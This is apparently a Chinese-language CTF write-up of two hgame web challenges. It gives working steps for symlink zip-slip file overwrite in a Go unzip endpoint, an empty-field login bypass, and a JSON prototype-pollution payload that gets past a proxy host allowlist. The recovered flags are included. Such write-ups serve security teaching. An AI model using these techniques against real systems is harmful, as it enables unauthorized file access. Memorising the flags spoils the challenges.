by:Infernity
Zero Link
这道题我做了好久,源码一大堆,撇去其他的,主要是file.go和routes.go这两个文件。
首先进入manager页面,需要登录,只有Admin才允许登录,我们需要拿到admin的密码,源码里给隐藏起来了,
Zero Link/internal/database/sqlite.go
这个文件里有所有人的密码,但是没有admin的,我们需要去找找。
我们抓这个包
然后把Username和Token都留空,就会得到admin的密码了。
拿到密码后可以登录,登录进去之后可以传zip文件,
在routes.go文件中,我们可以看到这些路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| api := r.Group("/api") { api.GET("/ping", ping.Ping) api.POST("/user", user.GetUserInfo) api.POST("/login", auth.AdminLogin)
apiAuth := api.Group("") apiAuth.Use(middleware.Auth()) { apiAuth.POST("/upload", file.UploadFile) apiAuth.GET("/unzip", file.UnzipPackage) apiAuth.GET("/secret", file.ReadSecretFile) } }
|
这里有个/api/unzip的路由,一般unzip就是要打软链接了。
在flie.go文件中找到跟unzip有关的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| func UnzipPackage(c *gin.Context) { files, err := filepath.Glob("/app/uploads/*.zip") if err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to get list of .zip files", Data: "", }) return }
for _, file := range files { cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/") if err := cmd.Run(); err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to unzip file: " + file, Data: "", }) return } }
c.JSON(http.StatusOK, FileResponse{ Code: http.StatusOK, Message: "Unzip completed", Data: "", }) }
|
但是这是给我们把东西解压到了/tmp目录的,我们还是看不到,这里就需要找中间件了。
在routes.go中有这么一条语句apiAuth.GET(“/secret”, file.ReadSecretFile)
就是/api/secret路由,我们找到file.go中相关代码块:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| func ReadSecretFile(c *gin.Context) { secretFilepath := "/app/secret" content, err := util.ReadFileToString(secretFilepath) if err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to read secret file", Data: "", }) return }
secretContent, err := util.ReadFileToString(content) if err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to read secret file content", Data: "", }) return }
c.JSON(http.StatusOK, FileResponse{ Code: http.StatusOK, Message: "Secret content read successfully", Data: secretContent, }) }
|
可以看到secret文件的位置是/app/secret,而/api/secret可以链接这个/app/secret,而这个secret是起到一个读取文件的作用。当前/app/secret的内容是/fake_flag,所以我们打开/api/secret就是读取到了/fake_flag
那么我们就需要打两个软链接,第一个软链接是把/tmp链接到/app,第二个是打入一个我们自己写的secret。
先新建一个文件夹,输入以下命令。
1 2
| ln -s /app link zip --symlinks 1.zip link
|
这第一个链接到/app的软链接就写好了。把他上传上去,然后进入/api/unzip里解压。
1 2 3 4 5 6
| rm link mkdir link cd link echo '../flag' >secret cd ../ zip -r 2.zip link
|
接着在同一个文件夹下输入以上命令。
同样的,把2.zip上传并解压,最后打开/api/secret,拿到flag。
hgame{w0W_u_Re4l1y_Kn0W_Golang_4ND_uNz1P!}
WebVPN
这道题给了源码,在flag路由可以获取flag,前提是要满足如下条件,总的来说就是需要走他设置的代理,然后令url=http://127.0.0.1:3000/flag 这就是走本地的url。
1 2 3 4 5 6 7 8 9 10 11 12
| app.get("/flag", (req, res) => { if ( req.headers.host != "127.0.0.1:3000" || req.hostname != "127.0.0.1" || req.ip != "127.0.0.1" ) { res.sendStatus(400); return; } const data = fs.readFileSync("/flag"); res.send(data); });
|
但是在源码里给了限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| var userStorage = { username: { password: "password", info: { age: 18, }, strategy: { "baidu.com": true, "google.com": false, }, }, };
app.use("/proxy", async (req, res) => { const { username } = req.session; if (!username) { res.sendStatus(403); }
let url = (() => { try { return new URL(req.query.url); } catch { res.status(400); res.end("invalid url."); return undefined; } })
|
这里的host只能是他给定的东西,也就是baidu.com才能通过检测。那么我们就需要在strategy里添加一句”127.0.0.1”:true ,方可拿到flag。
1 2 3 4 5 6 7 8 9 10 11 12
| function update(dst, src) { for (key in src) { if (key.indexOf("__") != -1) { continue; } if (typeof src[key] == "object" && dst[key] !== undefined) { update(dst[key], src[key]); continue; } dst[key] = src[key]; } }
|
这是一段很明显的marge函数,需要进行原型链污染,而调用update的函数点在/user/info路由里。而且要用post方法,在body里传参数。
1 2 3 4 5 6 7
| app.post("/user/info", (req, res) => { if (!req.session.username) { res.sendStatus(403); } update(userStorage[req.session.username].info, req.body); res.sendStatus(200); });
|
nodejs原型链污染是不可以改属性值的,所以不能通过直接在strategy: {}里添加127.0.0.1:true
我们知道当系统找127.0.0.1的时候,子类没有,就会去找他的父类(原型),所以我们只需要污染原型即可。
{“constructor”:{“prototype”:{“127.0.0.1”:true}}}
在/user/info路由post传参:
记得把Content-Type:改成json
传参后进入/proxy?url=http://127.0.0.1:3000/flag
此时会下载下来一个文件,打开文件即可拿到flag。
hgame{c146c76e1eab87f22361cf90e08e51586daeba8b}